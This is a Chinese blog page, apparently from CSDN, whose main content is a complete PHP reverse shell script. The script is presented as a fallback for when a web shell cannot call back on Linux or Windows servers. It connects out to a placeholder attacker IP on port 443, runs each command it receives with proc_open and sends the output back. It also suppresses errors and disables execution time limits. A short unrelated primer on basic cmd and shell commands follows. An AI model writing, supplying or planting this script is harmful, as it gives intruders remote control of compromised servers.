PHP反弹Cmd/Shell 脚本

遇到大马无法反弹时可以试试,linux,windows均可反弹

<?php 

error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = 'xxx.xxx.xxx.xxx';
$port = '443';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {
    $env = array('path' => 'c:\\windows\\system32');
} else {
    $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}


if(function_exists('fsockopen')) {
    $sock = fsockopen($ipaddr,$port);
    fwrite($sock,$msg);
    while ($cmd = fread($sock,1024)) {
        if (substr($cmd,0,3) == 'cd ') {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == 'exit') {
            break;
        } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes[0],$cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                fwrite($sock,$msg);
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                fwrite($sock,$msg);
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }
    fclose($sock);
} else {
    $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
    socket_connect($sock,$ipaddr,$port);
    socket_write($sock,$msg);
    fwrite($sock,$msg);
    while ($cmd = socket_read($sock,1024)) {
        if (substr($cmd,0,3) == 'cd ') {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == 'exit') {
            break;
        } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes[0],$cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }
    socket_close($sock);
}
?>
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
当然!我可以为您详细讲解一下 cmdshell 操作。 CMD(Command Prompt)是 Windows 操作系统中的命令行工具,而 shell 是类 Unix 操作系统中的命令行解释器。它们都是提供给用户通过命令行界面与操作系统进行交互的工具。 在 cmdshell 中,您可以运行各种命令来执行不同的操作。以下是一些常用的操作: 1. 目录和文件操作: - `cd`:切换当前目录。 - `dir`(在 Windows)或 `ls`(在 Unix):列出当前目录下的文件和子目录。 - `mkdir`(在 Windows)或 `mkdir`(在 Unix):创建一个新目录。 - `rmdir`(在 Windows)或 `rm -r`(在 Unix):删除一个空目录。 - `del`(在 Windows)或 `rm`(在 Unix):删除文件。 - `copy`(在 Windows)或 `cp`(在 Unix):复制文件。 2. 文件编辑: - `edit`(在 Windows)或 `nano`(在 Unix):打开一个文本编辑器。 - `type`(在 Windows)或 `cat`(在 Unix):显示文件内容。 - `echo`:输出文本到终端或文件。 3. 系统信息: - `systeminfo`(在 Windows)或 `uname -a`(在 Unix):显示系统信息。 - `ipconfig`(在 Windows)或 `ifconfig`(在 Unix):显示网络配置信息。 4. 进程管理: - `tasklist`(在 Windows)或 `ps`(在 Unix):显示当前运行的进程列表。 - `taskkill`(在 Windows)或 `kill`(在 Unix):结束一个正在运行的进程。 5. 网络操作: - `ping`:向指定的 IP 地址发送网络请求以检查连接状态。 - `tracert`(在 Windows)或 `traceroute`(在 Unix):显示数据包从本地主机到目标主机的路由路径。 这只是一小部分常用的 cmdshell 操作。您可以根据具体需求去学习更多命令和操作。希望这些信息对您有帮助!如果您有更多问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值